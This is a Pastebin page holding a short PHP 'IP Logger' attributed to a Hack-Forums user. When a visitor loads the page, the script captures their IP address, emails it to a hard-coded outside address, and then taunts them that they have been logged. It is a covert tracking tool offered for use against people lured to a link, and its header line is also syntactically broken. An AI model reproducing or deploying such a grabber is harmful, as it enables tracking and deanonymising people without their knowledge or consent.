Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>:: Coded by Mocha ::</title>
- </head>
- <body>
- <?php
- /*Coded by Mocha from Hack-Forums*/
- //Grap Client IP
- $IP = $_SERVER['REMOTE_ADDR'];
- //Define E-Mail Variables
- $to = 'moca66@live.com';
- $subject = 'IP Logger, Coded by Mocha';
- $message = 'IP: ' . $IP;
- $headers = 'From: focnr@affinitex.net' . "\r\n" .
- //Send the E-Mail with the IP
- mail($to, $subject, $message, $headers);
- //Just for shit's and giggles
- echo "Done, your IP has succesfully been logged."
- /*Coded by Mocha from Hack-Forums*/
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement